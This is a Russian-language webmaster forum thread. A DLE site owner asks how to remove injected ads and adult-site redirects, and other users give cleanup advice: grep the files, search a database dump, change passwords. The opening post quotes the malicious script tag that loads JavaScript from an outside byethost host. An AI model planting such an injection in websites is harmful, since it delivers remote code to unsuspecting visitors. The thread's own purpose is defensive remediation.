Помогите убрать вирус на сайте!

[Удален]
726

На моём сайте стала появляться чужая реклама, стало перебрасывать на чужие сайты адалт тематики.

Видимо кто-то воспользовался моей халатностью и записал мне вирус (так как на многих файлах стоят права 777)

Движёк DLE

проверил все шаблоны и так ничего и не нашёл

В коде заметил посторонний скрипт

<script language="JavaScript" src="http://a2480899.byethost32.com/file.js">

Как его убрать? куда мог вирус записаться?

помогите.

BS
На сайте с 22.06.2009
Offline
73
#1

Проверьте еще раз все файлы домена, в шелле в корне домена выполните

grep -R "a2480899.byethost32.com" ./

Еще поищите в бд, можно просто сдампить и поиском по дампу искать.

[Удален]
#2

а что эта команда в шелле даёт?

wmoll
На сайте с 14.03.2009
Offline
31
#3

1. Почистите комп от вирусов (почти 100% троян)

2. поменяйте пароли на фтп.

3. если предыдущий совет не дает результатов - поищите еще код который бы начинался на eval

если надо - могу помочь, стучите в ЛС/аську

P.S.

команда в шеле - выведет все файлы в которых есть код "a2480899.byethost32.com"

[Удален]
#4

на компьютере стоит лицензионный Касперский

amoyz добавил 07.12.2009 в 15:37

нашёл это в базе данных..в дампеее...как пофиксить ?

M1
На сайте с 13.02.2007
Offline
165
#5

Удалить вредоносные записи из базы, что логично.

Так же не забудьте поменять пароли доступа к базе и FTP.

[Удален]
#6

Вроде прочистился! Всем спасибо кто помогал!

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий